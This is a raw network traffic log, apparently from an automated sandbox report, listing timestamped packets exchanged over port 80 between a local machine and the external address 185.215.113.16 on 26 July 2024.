Jul 26, 2024 13:49:34.434448957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.434458971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.434468985 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.434598923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.434672117 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.434792995 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.434803009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.435028076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.435038090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.435046911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.435058117 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.435472965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.435482979 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.435493946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.435506105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.435516119 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.435524940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.435535908 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.436036110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.437460899 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.438036919 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.445578098 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.453095913 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.453133106 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.469286919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.469340086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.469372988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.470101118 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.470153093 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.470185041 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.470269918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.470355988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.470385075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.470474005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.470523119 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.470556021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.470588923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.470860004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.471520901 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.472229958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.472306967 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.472342014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.472722054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.472757101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.472788095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.473635912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.473721027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.473752022 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.474622011 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.479866028 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.480355978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.480407000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.480556011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.480588913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.480725050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.480756044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.480788946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.480920076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.480952024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.481034994 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.481067896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.481101990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.481204033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.481329918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.481360912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.482136011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.482168913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.482201099 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.485446930 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.485491991 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.485785007 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.485907078 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.485923052 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.485948086 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.486646891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.486735106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.486767054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.486819983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.486933947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.486968040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487131119 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487164974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487268925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487302065 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487443924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487476110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487627983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487659931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487857103 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487889051 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487921000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.487952948 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.488002062 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.488328934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.488363028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.488395929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.488430023 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.488464117 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.488794088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.488828897 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.488945961 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.488979101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489012003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489227057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489259958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489291906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489324093 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489356995 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489727020 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.489728928 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489762068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489794970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489826918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489859104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489891052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489923000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489955902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.489989042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.490454912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.490648031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.490802050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.490834951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.490868092 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.490899086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.490932941 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.491174936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.504415035 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.511368036 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.516555071 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.517549038 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.517579079 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.523081064 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.523108959 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.524909973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.524961948 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.524971962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.525300026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.525310040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.525320053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.525330067 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.525628090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.525639057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.525649071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.525659084 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.525667906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.525677919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.525687933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.526293039 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.526304007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.526314020 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.526324034 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.526334047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.526343107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.526352882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.526362896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.526371956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.526381016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.527242899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.527255058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.527265072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.527275085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.527285099 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.527295113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.527304888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.527314901 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.527326107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.527334929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.527347088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.534801960 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.543515921 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.543859959 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.543884039 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.543905973 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.571017027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.571183920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.571217060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.571382046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.571413040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.571446896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.571456909 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.571480036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.572324991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.572356939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.572388887 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.572422981 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.572455883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.572504044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.572535992 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.585642099 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.598294020 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.598323107 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.599607944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.599658966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.599693060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.599838018 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.599870920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.599904060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.599937916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.603063107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.603096962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.603128910 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.603399038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.603430033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.603462934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.603518009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.608773947 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.609606981 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.609639883 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.620086908 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.620132923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.620147943 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.620333910 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.620774031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.620893955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.624775887 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.647413015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.647445917 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.648783922 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.650880098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.650930882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.650965929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651087999 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651196957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651230097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651350975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651514053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651546001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651578903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651611090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651644945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651930094 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651962042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.651993990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.653934956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.653969049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.654001951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.654165030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.654249907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.655118942 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.655198097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.655230045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.656886101 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.657680035 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.657736063 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.658011913 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.658049107 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.660867929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.660907984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.660939932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661180973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661214113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661247015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661281109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661525011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661556959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661587954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661771059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661803961 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661837101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661869049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.661904097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662193060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662256956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662285089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662410975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662442923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662476063 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662508965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662858963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662892103 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662923098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662955999 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.662987947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.663016081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.663048029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.663080931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.663115025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.663562059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.663594007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.663626909 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.663661003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.663913965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.663945913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.663978100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.664026976 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.664319038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.664351940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.664386988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.664421082 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.664453983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.664851904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.664885044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.664916039 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.664951086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.664983988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665015936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665050030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665096998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665129900 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665163040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665682077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665714979 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665746927 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665779114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665812016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665843010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665874958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.665909052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.666280031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.666426897 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.666457891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.666490078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.666522026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.666555882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.666588068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.666620970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.666652918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.666687965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.666858912 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.666917086 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.666956902 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.666984081 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.667011976 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.667043924 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.667073965 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.667094946 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.667125940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.667159081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.667191982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.667223930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.667258024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.667500019 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.667604923 CEST	59056	80	192.168.2.6	185.215.113.16
